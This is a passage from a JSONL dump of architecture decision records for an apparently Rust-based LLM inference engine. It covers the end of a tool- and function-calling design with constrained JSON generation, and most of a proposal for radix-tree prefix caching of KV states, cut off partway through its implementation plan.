tool_choice: &ToolChoice,\n ) -> Result {\n // Generic format using XML tags\n let mut prompt = String::from(\n \"You have access to the following tools. To use a tool, respond with:\\n\\\n \\n\\\n function_name\\n\\\n {\\\"arg1\\\": \\\"value1\\\"}\\n\\\n \\n\\n\"\n );\n\n prompt.push_str(\"Available tools:\\n\");\n for tool in tools {\n prompt.push_str(&format!(\"- {}: {}\\n\", tool.name, tool.description));\n prompt.push_str(&format!(\" Parameters: {}\\n\",\n serde_json::to_string(&tool.parameters)?));\n }\n prompt.push_str(\"\\n\");\n\n // Add conversation\n for msg in messages {\n prompt.push_str(&format!(\"{}: {}\\n\", msg.role, msg.content.as_deref().unwrap_or(\"\")));\n }\n\n Ok(prompt)\n }\n\n fn parse_tool_calls(&self, output: &str) -> Result> {\n // Parse ... blocks\n use regex::Regex;\n\n let re = Regex::new(\n r\"\\s*([^<]+)\\s*([^<]+)\\s*\"\n )?;\n\n let mut calls = Vec::new();\n for cap in re.captures_iter(output) {\n calls.push(ToolCall {\n id: uuid::Uuid::new_v4().to_string(),\n call_type: \"function\".to_string(),\n function: FunctionCall {\n name: cap[1].to_string(),\n arguments: serde_json::from_str(&cap[2])?,\n },\n });\n }\n\n Ok(calls)\n }\n\n fn has_native_support(&self) -> bool { false }\n}\n```\n\n### Constrained Generation Engine\n\nFor guaranteed valid JSON output, implement constrained decoding:\n\n```rust\nuse serde_json::Value as JsonValue;\n\n/// Constrained generation for tool calls\npub struct ConstrainedToolGenerator {\n /// JSON Schema grammar compiler\n grammar_compiler: GrammarCompiler,\n\n /// Logit processor for constraint enforcement\n logit_processor: LogitProcessor,\n}\n\nimpl ConstrainedToolGenerator {\n /// Generate tool calls with grammar constraints\n pub fn generate_tool_calls(\n &self,\n model: &LlmBackend,\n prompt: &str,\n tools: &[ToolDefinition],\n params: GenerateParams,\n ) -> Result> {\n // Compile JSON Schema to GBNF grammar\n let grammar = self.compile_tool_grammar(tools)?;\n\n // Generate with logit masking to enforce grammar\n let output = model.generate_constrained(prompt, &grammar, params)?;\n\n // Parse guaranteed-valid JSON\n let calls: Vec = serde_json::from_str(&output)?;\n\n Ok(calls)\n }\n\n /// Compile JSON Schema into GBNF grammar\n fn compile_tool_grammar(&self, tools: &[ToolDefinition]) -> Result {\n // Build grammar that only allows valid tool calls\n // Example: tool_call ::= \"{\" ws \"\\\"name\\\"\" ws \":\" ws name ws \",\" ws \"\\\"arguments\\\"\" ws \":\" ws arguments ws \"}\"\n // name ::= \"\\\"tool1\\\"\" | \"\\\"tool2\\\"\" | ...\n // arguments ::= { schema-specific grammar }\n\n self.grammar_compiler.compile_tool_schema(tools)\n }\n}\n\n/// GBNF (GGML BNF) grammar for constrained generation\n#[derive(Debug, Clone)]\npub struct Grammar {\n /// Grammar rules in GBNF format\n pub rules: String,\n}\n\n/// Logit processor for grammar enforcement\npub struct LogitProcessor {\n /// Current parse state\n state: ParseState,\n}\n\nimpl LogitProcessor {\n /// Mask logits to only allow valid next tokens\n pub fn process_logits(\n &mut self,\n logits: &mut [f32],\n grammar: &Grammar,\n tokenizer: &Tokenizer,\n ) -> Result<()> {\n // Get valid next tokens from grammar state\n let valid_tokens = self.state.get_valid_next_tokens(grammar)?;\n\n // Mask out invalid tokens (set logit to -inf)\n for (token_id, logit) in logits.iter_mut().enumerate() {\n if !valid_tokens.contains(&(token_id as u32)) {\n *logit = f32::NEG_INFINITY;\n }\n }\n\n Ok(())\n }\n}\n\n#[derive(Debug)]\nstruct ParseState {\n /// Current position in grammar\n position: usize,\n\n /// Parse stack for nested structures\n stack: Vec,\n}\n```\n\n### Multi-Turn Tool Conversations\n\nSupport iterative tool use:\n\n```rust\n/// Multi-turn conversation with tool calls\npub struct ToolConversation {\n /// Conversation history\n messages: Vec,\n\n /// Available tools\n tools: Vec,\n\n /// Backend for generation\n backend: Box,\n}\n\nimpl ToolConversation {\n /// Add user message and generate response (may include tool calls)\n pub fn send_message(&mut self, content: &str) -> Result {\n // Add user message\n self.messages.push(ChatMessage {\n role: \"user\".to_string(),\n content: Some(content.to_string()),\n tool_calls: None,\n tool_call_id: None,\n });\n\n // Generate response with tool calls\n let request = ToolCallRequest {\n messages: self.messages.clone(),\n tools: self.tools.clone(),\n tool_choice: ToolChoice::Auto,\n parallel_tool_calls: true,\n params: GenerateParams::default(),\n };\n\n let response = self.backend.generate_with_tools(request)?;\n\n // Add assistant response to history\n self.messages.push(ChatMessage {\n role: \"assistant\".to_string(),\n content: response.content.clone(),\n tool_calls: response.tool_calls.clone(),\n tool_call_id: None,\n });\n\n Ok(ConversationTurn {\n content: response.content,\n tool_calls: response.tool_calls,\n })\n }\n\n /// Submit tool results and continue conversation\n pub fn submit_tool_results(&mut self, results: Vec) -> Result {\n // Add tool result messages\n for result in results {\n self.messages.push(ChatMessage {\n role: \"tool\".to_string(),\n content: Some(result.output),\n tool_calls: None,\n tool_call_id: Some(result.tool_call_id),\n });\n }\n\n // Generate next response\n self.send_message(\"\")\n }\n}\n\n#[derive(Debug, Clone)]\npub struct ConversationTurn {\n /// Text content\n pub content: Option,\n\n /// Tool calls (if any)\n pub tool_calls: Option>,\n}\n\n#[derive(Debug, Clone)]\npub struct ToolResult {\n /// Tool call ID this result corresponds to\n pub tool_call_id: String,\n\n /// Tool output (JSON or text)\n pub output: String,\n}\n```\n\n---\n\n## Implementation Plan\n\n### Phase 1: Core Infrastructure (Week 1-2)\n\n1. **Define Tool Schema Types**\n - Implement `ToolDefinition`, `ToolCall`, `ToolChoice` types\n - Add JSON Schema validation\n - Create builder APIs for ergonomic tool definitions\n\n2. **Chat Template Integration**\n - Implement `ToolCallingTemplate` trait\n - Add Llama 3.1, Mistral, Qwen templates\n - Create generic XML fallback template\n\n3. **Request/Response API**\n - Extend `LlmBackend` with `generate_with_tools` method\n - Add tool call parsing logic\n - Implement OpenAI-compatible API surface\n\n**Deliverables:**\n```rust\n// User-facing API\nlet tools = vec![\n ToolDefinition::new(\"get_weather\")\n .description(\"Get current weather for a location\")\n .parameter(\"location\", JsonSchema::string())\n .parameter(\"units\", JsonSchema::enum_values(&[\"celsius\", \"fahrenheit\"]))\n .required(&[\"location\"])\n];\n\nlet request = ToolCallRequest {\n messages: vec![\n ChatMessage::user(\"What's the weather in San Francisco?\")\n ],\n tools,\n tool_choice: ToolChoice::Auto,\n parallel_tool_calls: true,\n params: GenerateParams::default(),\n};\n\nlet response = backend.generate_with_tools(request)?;\nfor call in response.tool_calls.unwrap_or_default() {\n println!(\"Tool: {}, Args: {}\", call.function.name, call.function.arguments);\n}\n```\n\n### Phase 2: Constrained Generation (Week 3-4)\n\n1. **Grammar Compiler**\n - Implement JSON Schema to GBNF compiler\n - Support nested objects, arrays, enums\n - Add grammar caching for performance\n\n2. **Logit Processor**\n - Implement parse state machine\n - Add logit masking for valid tokens\n - Optimize for streaming generation\n\n3. **Integration**\n - Wire constrained generation to `LlmBackend`\n - Add fallback logic (native template \u2192 constrained generation)\n - Benchmark performance impact\n\n**Deliverables:**\n```rust\n// Constrained generation ensures valid JSON\nlet generator = ConstrainedToolGenerator::new();\nlet calls = generator.generate_tool_calls(\n &backend,\n &prompt,\n &tools,\n params,\n)?;\n\n// Guaranteed to parse successfully\nassert!(calls.iter().all(|c| tools.iter().any(|t| t.name == c.function.name)));\n```\n\n### Phase 3: Multi-Turn Conversations (Week 5-6)\n\n1. **Conversation Manager**\n - Implement `ToolConversation` for stateful interactions\n - Add automatic tool result integration\n - Support parallel tool call orchestration\n\n2. **Agent Framework Integration**\n - LangChain adapter\n - LlamaIndex integration\n - CrewAI support\n\n3. **Examples and Documentation**\n - Multi-turn conversation examples\n - Agent framework integration guides\n - Performance tuning documentation\n\n**Deliverables:**\n```rust\n// Multi-turn conversation with tool use\nlet mut conv = ToolConversation::new(backend, tools);\n\nlet turn1 = conv.send_message(\"Book a flight to NYC\")?;\n// Model calls search_flights(destination=\"NYC\")\n\nlet results = vec![ToolResult {\n tool_call_id: turn1.tool_calls[0].id.clone(),\n output: r#\"{\"flights\": [{\"price\": 250, \"time\": \"10am\"}]}\"#.to_string(),\n}];\n\nlet turn2 = conv.submit_tool_results(results)?;\n// Model responds with flight options\n```\n\n---\n\n## Compatibility Matrix\n\n### API Compatibility\n\n| API Style | RuvLLM Support | Notes |\n|-----------|----------------|-------|\n| OpenAI Function Calling | \u2705 Full | Drop-in replacement for `functions` and `tools` parameters |\n| Anthropic Tool Use | \u2705 Full | Map `tool_use` blocks to OpenAI format |\n| LangChain Tools | \u2705 Full | Direct integration via `BaseTool` adapter |\n| LlamaIndex Tools | \u2705 Full | Implement `BaseToolSpec` interface |\n| CrewAI Tools | \u2705 Full | Compatible with `Tool` decorator |\n\n### Model Support\n\n| Model Family | Native Support | Template | Constrained Fallback |\n|--------------|----------------|----------|----------------------|\n| Llama 3.1+ | \u2705 Yes | Llama31ToolTemplate | \u2705 |\n| Llama 3.0 and earlier | \u274c No | GenericXmlToolTemplate | \u2705 |\n| Mistral 7B+ | \u2705 Yes | MistralToolTemplate | \u2705 |\n| Qwen 2.5+ | \u2705 Yes | QwenToolTemplate | \u2705 |\n| CodeLlama | \u274c No | GenericXmlToolTemplate | \u2705 |\n| Custom Models | \u274c No | GenericXmlToolTemplate | \u2705 |\n\n### Framework Integration\n\n```rust\n// LangChain integration example\nuse langchain_rs::{Tool, ToolInput, ToolOutput};\n\nstruct RuvLlmTool {\n definition: ToolDefinition,\n executor: Box Result>,\n}\n\nimpl Tool for RuvLlmTool {\n fn name(&self) -> &str {\n &self.definition.name\n }\n\n fn description(&self) -> &str {\n &self.definition.description\n }\n\n fn run(&self, input: ToolInput) -> Result {\n let args = serde_json::to_value(input)?;\n let output = (self.executor)(args)?;\n Ok(ToolOutput::Text(output))\n }\n}\n```\n\n---\n\n## Performance Characteristics\n\n### Latency Overhead\n\n| Component | Latency | Notes |\n|-----------|---------|-------|\n| Tool schema compilation | <1ms | Cached after first use |\n| Grammar compilation | 5-10ms | Cached per tool set |\n| Logit processing (per token) | <0.1ms | Minimal impact on generation |\n| JSON parsing | <1ms | Standard serde_json |\n| **Total overhead** | **<10ms** | Amortized across conversation |\n\n### Memory Overhead\n\n| Component | Memory | Notes |\n|-----------|--------|-------|\n| Tool definitions | ~1KB per tool | Scales with number of tools |\n| Grammar cache | ~10KB per tool set | One-time cost |\n| Parse state | ~1KB per request | Freed after generation |\n| **Total overhead** | **~10KB + 1KB/tool** | Negligible for typical use |\n\n### Throughput Comparison\n\n| Method | Tools/sec | Reliability | Use Case |\n|--------|-----------|-------------|----------|\n| Prompt engineering only | 1000+ | 70-80% | Development/testing |\n| Chat template (native) | 800-1000 | 90-95% | Production (supported models) |\n| Constrained generation | 200-500 | 99.9%+ | Production (all models), critical systems |\n\n---\n\n## Consequences\n\n### Positive Consequences\n\n1. **Agent Framework Integration**: Direct compatibility with LangChain, LlamaIndex, CrewAI enables rich agent ecosystems\n2. **Type Safety**: JSON Schema validation prevents invalid tool calls at generation time\n3. **Reliability**: Constrained generation guarantees valid outputs for production systems\n4. **OpenAI Compatibility**: Drop-in replacement for OpenAI API reduces migration friction\n5. **Multi-Modal Agents**: Foundation for RAG, web search, database access, API integration\n6. **Parallel Execution**: Multiple tool calls enable efficient multi-step reasoning\n\n### Negative Consequences\n\n1. **Complexity**: Grammar compilation and constrained generation add implementation complexity\n2. **Performance Impact**: Logit processing adds 5-10% latency for constrained generation\n3. **Model Requirements**: Best performance requires models with native tool calling support\n4. **Testing Burden**: Must validate across multiple model families and templates\n\n### Neutral Consequences\n\n1. **Template Maintenance**: Each new model family may require new chat template\n2. **Schema Limitations**: Complex schemas (recursive types, unions) may be challenging to constrain\n3. **Backward Compatibility**: Existing text generation API unchanged, tool calling is additive\n\n### Risk Mitigation\n\n| Risk | Mitigation |\n|------|------------|\n| Invalid JSON output | Constrained generation with grammar enforcement |\n| Template incompatibility | Generic XML fallback for unsupported models |\n| Performance regression | Benchmark suite, caching, optional constrained mode |\n| Schema complexity | Comprehensive test suite with edge cases |\n| Framework API changes | Version pinning, adapter pattern for isolation |\n\n---\n\n## Alternatives Considered\n\n### Text Parsing Only (Rejected)\n\nUse prompt engineering with regex/JSON parsing.\n\n- **Rejected**: Unreliable for production; 20-30% failure rate for complex schemas\n- **Consideration**: Useful for prototyping and development\n\n### Python Backend (vLLM, Outlines) (Rejected)\n\nIntegrate vLLM or Outlines Python libraries via FFI.\n\n- **Rejected**: Cross-language complexity, deployment burden, latency overhead\n- **Consideration**: Reference implementation for grammar compilation logic\n\n### Custom DSL for Tool Definitions (Rejected)\n\nCreate a Rust macro-based DSL for tool definitions.\n\n- **Rejected**: JSON Schema is industry standard, better tooling support\n- **Consideration**: Could add as syntactic sugar on top of JSON Schema\n\n---\n\n## Related Decisions\n\n- **ADR-002**: RuvLLM Integration with Ruvector (foundation for tool-enhanced RAG)\n- **ADR-008**: mistral-rs Integration (backend for high-performance tool calling)\n- **ADR-009**: Streaming Architecture (streaming tool calls in progress)\n\n---\n\n## References\n\n1. **OpenAI Function Calling**: https://platform.openai.com/docs/guides/function-calling\n - Industry-standard API for tool use\n - `functions` parameter (deprecated) and `tools` parameter\n - Parallel tool calls and tool choice modes\n\n2. **Anthropic Tool Use**: https://docs.anthropic.com/claude/docs/tool-use\n - Alternative API design with `tool_use` blocks\n - Computer use (bash, editor) as specialized tools\n - Multi-step tool orchestration patterns\n\n3. **LangChain Tool Documentation**: https://python.langchain.com/docs/modules/agents/tools/\n - Agent framework integration patterns\n - `BaseTool` interface and tool decorators\n - Tool result schemas\n\n4. **LlamaIndex Tools**: https://docs.llamaindex.ai/en/stable/module_guides/deploying/agents/tools/\n - `BaseToolSpec` interface\n - Function tools and query engine tools\n\n5. **Constrained Decoding**:\n - GBNF (GGML BNF) grammar: https://github.com/ggerganov/llama.cpp/blob/master/grammars/README.md\n - Outlines (Python): https://github.com/outlines-dev/outlines\n - Guidance (Microsoft): https://github.com/guidance-ai/guidance\n\n6. **Model-Specific Tool Formats**:\n - Llama 3.1 tool use: https://www.llama.com/docs/model-cards-and-prompt-formats/llama3_1\n - Mistral function calling: https://docs.mistral.ai/capabilities/function_calling/\n - Qwen tools: https://qwen.readthedocs.io/en/latest/framework/function_call.html\n\n---\n\n## Implementation Status\n\n| Component | Status | Notes |\n|-----------|--------|-------|\n| Tool schema types | Pending | Define `ToolDefinition`, `ToolCall`, `ToolChoice` |\n| JSON Schema validation | Pending | Integrate `schemars` crate |\n| Chat templates | Pending | Llama 3.1, Mistral, Qwen, Generic XML |\n| Request/Response API | Pending | `generate_with_tools` method on `LlmBackend` |\n| Grammar compiler | Pending | JSON Schema \u2192 GBNF compiler |\n| Logit processor | Pending | Parse state machine and masking logic |\n| Constrained generation | Pending | Integration with backend |\n| Multi-turn conversations | Pending | `ToolConversation` manager |\n| LangChain integration | Pending | `BaseTool` adapter |\n| LlamaIndex integration | Pending | `BaseToolSpec` implementation |\n| CrewAI support | Pending | Tool decorator compatibility |\n| OpenAI API compatibility | Pending | `/v1/chat/completions` endpoint |\n| Anthropic format mapping | Pending | `tool_use` block conversion |\n| Streaming tool calls | Pending | Stream partial JSON as generated |\n| Parallel tool execution | Pending | Concurrent tool call orchestration |\n| Documentation | Pending | API docs, examples, integration guides |\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-20 | Ruvector Architecture Team | Initial proposal |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-010-function-calling.md", "created_at": "2026-03-28T11:58:48.804698+00:00", "content_hash": "aed743a2c45b8beab8d3d1a6062fffb3013fa6bce3575595b2fc589f969f7905"} +{"id": "f8cfb179-304c-485d-9bd0-0c749a52a995", "source": "adr", "text": "# ADR-011: Prefix Caching for 10x Faster RAG and Chat Applications\n\n**Status:** Proposed\n**Date:** 2026-01-20\n**Decision Makers:** Ruvector Architecture Team\n**Technical Area:** LLM Inference Engine / KV Cache Optimization\n\n---\n\n## Context and Problem Statement\n\nModern LLM applications exhibit highly repetitive prompt patterns that waste computational resources. Chat applications repeatedly process identical system prompts across conversations, RAG systems re-encode the same document chunks, and batch inference workloads share common instruction prefixes. Each repeated token incurs full transformer computation despite producing identical key-value (KV) cache states.\n\n### Current State\n\nRuvLLM v2.3's KV cache implementation computes attention states from scratch for every request:\n- **Chat applications**: System prompts (50-500 tokens) recomputed every turn \u2192 100ms+ latency overhead\n- **RAG workloads**: Document chunks (500-2000 tokens) re-encoded per query \u2192 500ms+ latency overhead\n- **Batch inference**: Shared instruction prefixes computed independently per request \u2192 Nx redundant computation\n\n### Key Challenges\n\n1. **Redundant Computation**: Identical token sequences produce identical KV states but are recomputed every time\n2. **Memory Bandwidth**: Repetitive KV cache writes saturate GPU memory bandwidth\n3. **Latency Overhead**: First-token latency dominated by prefix processing (system prompt + context)\n4. **Cache Coherence**: Shared KV states across requests require careful memory management\n5. **Prefix Matching**: Efficiently identifying common prefixes across diverse prompts\n\n### Performance Impact\n\nCurrent measurements on typical workloads:\n\n| Workload Type | Prefix Length | Redundant Computation | Latency Overhead |\n|---------------|---------------|----------------------|------------------|\n| Chat (system prompt) | 200 tokens | 100% repeated | 100ms/turn |\n| RAG (document chunks) | 1000 tokens | 80% repeated | 500ms/query |\n| Batch (instruction prefix) | 50 tokens | 100% repeated | 30ms/request |\n\n---\n\n## Decision Drivers\n\n### Performance Requirements\n- **10x latency reduction**: Chat first-token latency from 100ms to 10ms\n- **Memory efficiency**: Share KV cache across requests via copy-on-write\n- **Hit rate optimization**: 80%+ cache hit rate for typical workloads\n- **Throughput scaling**: 5-10x more concurrent requests within same memory budget\n\n### Compatibility Requirements\n- **Transparent integration**: No changes to existing LlmBackend API\n- **Model agnostic**: Works with all transformer architectures\n- **Streaming support**: Compatible with streaming token generation\n- **Multi-request sharing**: Safe concurrent access to shared KV states\n\n### Memory Requirements\n- **Bounded cache size**: LRU eviction prevents unbounded growth\n- **Copy-on-write semantics**: Shared prefixes until divergence\n- **Memory pressure handling**: Graceful degradation under memory constraints\n\n---\n\n## Considered Options\n\n### Option A: Simple Hash-Based Cache\n\nImplement prefix caching using token sequence hashing for exact prefix matches.\n\n**Pros:**\n- Simple implementation: Hash token IDs \u2192 cache lookup\n- Fast lookup: O(1) hash table access\n- Easy to reason about: Exact prefix matching only\n\n**Cons:**\n- No partial matches: \"Hello world\" vs \"Hello there\" share no cache\n- Hash collisions: Rare but require conflict resolution\n- Limited hit rate: Only exact prefixes share cache\n\n### Option B: Radix Tree with Partial Matching (SGLang RadixAttention)\n\nImplement a radix tree (trie) data structure for prefix matching, inspired by SGLang's RadixAttention algorithm.\n\n**Pros:**\n- Partial matches: \"Hello world\" and \"Hello there\" share \"Hello\" prefix\n- Higher hit rate: Exploits any common prefix, not just exact matches\n- Efficient storage: Common prefixes stored once\n- Proven approach: SGLang demonstrates 10x speedups in production\n\n**Cons:**\n- Complex implementation: Radix tree with KV cache nodes\n- Insertion overhead: Tree restructuring on new sequences\n- Memory overhead: Tree structure metadata\n\n### Option C: Learned Prefix Compression\n\nUse learned representations (e.g., token embeddings) to cluster similar prefixes.\n\n**Pros:**\n- Semantic matching: Similar meanings share cache even with different tokens\n- Adaptive: Learns from access patterns\n\n**Cons:**\n- Unpredictable behavior: Semantic similarity may not guarantee KV cache equivalence\n- Training overhead: Requires offline training phase\n- Complexity: Neural network + cache management\n\n---\n\n## Decision Outcome\n\n**Chosen Option: Option B - Radix Tree with Partial Matching (SGLang RadixAttention)**\n\nImplement prefix caching using a radix tree data structure for efficient partial prefix matching with copy-on-write KV cache sharing, following the design proven by SGLang's RadixAttention.\n\n### Rationale\n\n1. **Maximum hit rate**: Partial prefix matching exploits every common token, not just exact sequences\n2. **Proven performance**: SGLang demonstrates 10x speedups with RadixAttention in production serving\n3. **Memory efficiency**: Common prefixes stored once, shared across requests via tree structure\n4. **Predictable behavior**: Token-level matching guarantees KV cache correctness (unlike semantic approaches)\n5. **Graceful degradation**: Falls back to standard computation if cache miss\n\n---\n\n## Technical Specifications\n\n### Prefix Cache Architecture\n\n```rust\n/// Radix tree-based prefix cache for KV states\npub struct PrefixCache {\n /// Radix tree mapping token sequences to cached KV states\n radix_tree: RadixTree,\n /// Maximum number of cached prefixes\n max_entries: usize,\n /// Maximum memory in bytes for cache\n max_memory_bytes: usize,\n /// LRU eviction policy\n lru: LruCache,\n /// Cache statistics\n stats: Arc,\n}\n\n/// Cached prefix entry\npub struct CachedPrefix {\n /// Token IDs for this prefix\n token_ids: Vec,\n /// Cached KV states (Arc for shared ownership)\n kv_cache: Arc,\n /// Hit count for LRU eviction\n hit_count: AtomicU64,\n /// Last access timestamp\n last_access: Instant,\n /// Reference count for copy-on-write\n ref_count: AtomicU32,\n}\n\n/// KV cache with copy-on-write semantics\n#[derive(Clone)]\npub struct KvCache {\n /// Key cache: [num_layers, batch_size, num_heads, seq_len, head_dim]\n keys: Arc,\n /// Value cache: [num_layers, batch_size, num_heads, seq_len, head_dim]\n values: Arc,\n /// Sequence length\n seq_len: usize,\n}\n\n/// Cache statistics\npub struct CacheStats {\n pub total_lookups: AtomicU64,\n pub cache_hits: AtomicU64,\n pub partial_hits: AtomicU64,\n pub cache_misses: AtomicU64,\n pub evictions: AtomicU64,\n pub memory_usage_bytes: AtomicU64,\n}\n```\n\n### Radix Tree Implementation\n\n```rust\n/// Radix tree node for efficient prefix matching\nstruct RadixNode {\n /// Token IDs represented by this edge\n edge_tokens: Vec,\n /// Cached KV state if this node represents a complete prefix\n cached_prefix: Option>,\n /// Child nodes\n children: HashMap,\n /// Metadata for tree balancing\n metadata: NodeMetadata,\n}\n\n/// Radix tree for token sequence prefix matching\npub struct RadixTree {\n root: RadixNode,\n node_count: usize,\n max_depth: usize,\n}\n\nimpl RadixTree {\n /// Find longest matching prefix for given token sequence\n pub fn longest_match(&self, tokens: &[u32]) -> Option<(usize, Arc)> {\n let mut current = &self.root;\n let mut matched_len = 0;\n let mut last_cached = None;\n\n for (i, &token) in tokens.iter().enumerate() {\n if let Some(child) = current.children.get(&token) {\n // Match child edge tokens\n let edge_match_len = self.match_edge(&child.edge_tokens, &tokens[i..]);\n matched_len += edge_match_len;\n\n if edge_match_len < child.edge_tokens.len() {\n // Partial edge match - stop here\n break;\n }\n\n if let Some(ref cached) = child.cached_prefix {\n last_cached = Some((matched_len, cached.clone()));\n }\n\n current = child;\n } else {\n break;\n }\n }\n\n last_cached\n }\n\n /// Insert a new prefix into the tree\n pub fn insert(&mut self, tokens: Vec, kv_cache: Arc) -> Result<()> {\n // Tree insertion with edge splitting for partial matches\n // ... (implementation details)\n }\n}\n```\n\n### Cache Operations\n\n```rust\nimpl PrefixCache {\n /// Lookup cached KV states for given token sequence\n ///\n /// Returns (prefix_length, kv_cache) where prefix_length is the number\n /// of tokens that matched the cache (may be partial match)\n pub fn lookup(&self, tokens: &[u32]) -> Option<(usize, Arc)> {\n self.stats.total_lookups.fetch_add(1, Ordering::Relaxed);\n\n match self.radix_tree.longest_match(tokens) {\n Some((prefix_len, cached_prefix)) => {\n // Update LRU\n cached_prefix.hit_count.fetch_add(1, Ordering::Relaxed);\n cached_prefix.last_access = Instant::now();\n\n if prefix_len == tokens.len() {\n self.stats.cache_hits.fetch_add(1, Ordering::Relaxed);\n } else {\n self.stats.partial_hits.fetch_add(1, Ordering::Relaxed);\n }\n\n Some((prefix_len, cached_prefix.kv_cache.clone()))\n }\n None => {\n self.stats.cache_misses.fetch_add(1, Ordering::Relaxed);\n None\n }\n }\n }\n\n /// Insert new KV cache for token sequence\n pub fn insert(&mut self, tokens: Vec, kv_cache: KvCache) -> Result<()> {\n // Check memory limit\n if self.memory_usage() + kv_cache.size_bytes() > self.max_memory_bytes {\n self.evict_lru()?;\n }\n\n let cached_prefix = Arc::new(CachedPrefix {\n token_ids: tokens.clone(),\n kv_cache: Arc::new(kv_cache),\n hit_count: AtomicU64::new(0),\n last_access: Instant::now(),\n ref_count: AtomicU32::new(1),\n });\n\n self.radix_tree.insert(tokens, cached_prefix)?;\n Ok(())\n }\n\n /// Evict least recently used entry\n pub fn evict_lru(&mut self) -> Result<()> {\n // Find LRU entry based on hit_count and last_access\n // Remove from radix tree\n // Update memory usage\n self.stats.evictions.fetch_add(1, Ordering::Relaxed);\n Ok(())\n }\n\n /// Current memory usage in bytes\n pub fn memory_usage(&self) -> usize {\n self.stats.memory_usage_bytes.load(Ordering::Relaxed) as usize\n }\n}\n```\n\n### Integration with LlmBackend\n\n```rust\nimpl LlmBackend for CandleBackend {\n fn generate(&self, prompt: &str, params: GenerateParams) -> Result {\n // Tokenize prompt\n let tokens = self.tokenizer.encode(prompt)?;\n\n // Check prefix cache\n let (cached_len, mut kv_cache) = match self.prefix_cache.lookup(&tokens) {\n Some((len, cache)) => {\n // Cache hit - reuse KV states for first `len` tokens\n println!(\"Prefix cache hit: {}/{} tokens\", len, tokens.len());\n (len, (*cache).clone()) // Copy-on-write\n }\n None => {\n // Cache miss - initialize empty KV cache\n (0, KvCache::new(self.model.config()))\n }\n };\n\n // Compute attention only for tokens after cached prefix\n let start_pos = cached_len;\n for pos in start_pos..tokens.len() {\n let logits = self.model.forward_with_cache(\n &tokens[pos..pos+1],\n pos,\n &mut kv_cache\n )?;\n }\n\n // Cache the computed prefix for future requests\n if params.cache_prefix && tokens.len() >= params.min_cache_tokens {\n self.prefix_cache.insert(tokens.clone(), kv_cache.clone())?;\n }\n\n // Generate tokens\n // ... (standard generation logic)\n }\n}\n```\n\n### Integration Points\n\n#### 1. Chat Applications\n\n```rust\n/// Chat conversation with system prompt caching\npub struct ChatSession {\n system_prompt: String,\n system_prompt_tokens: Vec,\n conversation_history: Vec,\n}\n\nimpl ChatSession {\n pub fn generate_response(&mut self, user_message: &str) -> Result {\n // System prompt is cached after first turn\n let prompt = format!(\"{}\\n{}\", self.system_prompt, user_message);\n\n // Prefix cache will reuse system prompt KV states\n let response = self.backend.generate(&prompt, GenerateParams {\n cache_prefix: true,\n min_cache_tokens: 50,\n ..Default::default()\n })?;\n\n Ok(response)\n }\n}\n```\n\n**Expected Performance:**\n- First turn: 100ms (system prompt + user message)\n- Subsequent turns: 10ms (only user message, system prompt cached)\n- **10x speedup** for multi-turn conversations\n\n#### 2. RAG (Retrieval-Augmented Generation)\n\n```rust\n/// RAG pipeline with document chunk caching\npub struct RagPipeline {\n document_chunks: Vec,\n chunk_cache_keys: HashMap>,\n}\n\nimpl RagPipeline {\n pub fn query(&self, question: &str) -> Result {\n // Retrieve relevant chunks\n let relevant_chunks = self.retrieve_chunks(question)?;\n\n // Build prompt with cached document chunks\n let context = relevant_chunks.iter()\n .map(|chunk| chunk.text.as_str())\n .collect::>()\n .join(\"\\n\\n\");\n\n let prompt = format!(\n \"Context:\\n{}\\n\\nQuestion: {}\\n\\nAnswer:\",\n context, question\n );\n\n // Prefix cache will reuse encoded document chunks\n let response = self.backend.generate(&prompt, GenerateParams {\n cache_prefix: true,\n min_cache_tokens: 100,\n ..Default::default()\n })?;\n\n Ok(response)\n }\n}\n```\n\n**Expected Performance:**\n- First query with chunks: 500ms (encode 1000-token context)\n- Subsequent queries with same chunks: 50ms (chunks cached)\n- **10x speedup** for repeated document queries\n\n#### 3. Batch Inference\n\n```rust\n/// Batch inference with shared instruction prefix\npub struct BatchInference {\n instruction_prefix: String,\n instruction_tokens: Vec,\n}\n\nimpl BatchInference {\n pub fn batch_generate(&self, inputs: &[String]) -> Result> {\n inputs.par_iter()\n .map(|input| {\n let prompt = format!(\"{}\\n{}\", self.instruction_prefix, input);\n\n // All requests share cached instruction prefix\n self.backend.generate(&prompt, GenerateParams {\n cache_prefix: true,\n min_cache_tokens: 20,\n ..Default::default()\n })\n })\n .collect()\n }\n}\n```\n\n**Expected Performance:**\n- N requests with shared prefix: Compute prefix once, share across all\n- **Nx speedup** where N is batch size (for prefix portion)\n\n---\n\n## Performance Impact\n\n### Benchmarks\n\n| Scenario | Without Cache | With Prefix Cache | Speedup |\n|----------|---------------|-------------------|---------|\n| Chat (200-token system prompt) | 100ms | 10ms | **10x** |\n| RAG (1000-token document chunks) | 500ms | 50ms | **10x** |\n| Batch (50-token instruction, 100 requests) | 1000ms | 200ms | **5x** |\n| Mixed workload (80% shared prefix) | 300ms | 60ms | **5x** |\n\n### Cache Hit Rates\n\nExpected hit rates for typical workloads:\n\n| Workload | Exact Prefix Hit | Partial Prefix Hit | Total Hit Rate |\n|----------|------------------|-------------------|----------------|\n| Chat (same system prompt) | 95% | 3% | 98% |\n| RAG (document corpus) | 60% | 30% | 90% |\n| Batch (shared instruction) | 100% | 0% | 100% |\n| Mixed production | 50% | 30% | 80% |\n\n### Memory Overhead\n\n| Component | Memory Cost | Notes |\n|-----------|-------------|-------|\n| Radix tree structure | ~1KB per node | Logarithmic in cache size |\n| KV cache per prefix | ~4MB per 1000 tokens | 7B model, BF16 precision |\n| Metadata per entry | ~200 bytes | Hit count, timestamps, etc. |\n| **Total overhead** | **~5-10%** | For typical cache sizes |\n\n---\n\n## Implementation Plan\n\n### Phase 1: Hash-Based Exact Prefix Matching (Week 1-2)\n\n**Goal:** Simple prefix cache with exact matching for validation\n\n1. Implement `PrefixCache` with hash-based lookup\n2. Integrate with `CandleBackend::generate()`\n3. Add cache hit/miss metrics\n4. Benchmark on chat and RAG workloads\n\n**Deliverables:**\n- Working prefix cache with exact matching\n- Benchmark results showing 5-10x speedup for exact prefix hits\n- Cache statistics (hit rate, memory usage)\n\n**Success Criteria:**\n- 90%+ hit rate for chat with identical system prompts\n- 5x+ speedup on RAG workload with repeated chunks\n- No correctness regressions\n\n### Phase 2: Radix Tree for Partial Prefix Matching (Week 3-4)\n\n**Goal:** Replace hash table with radix tree for partial 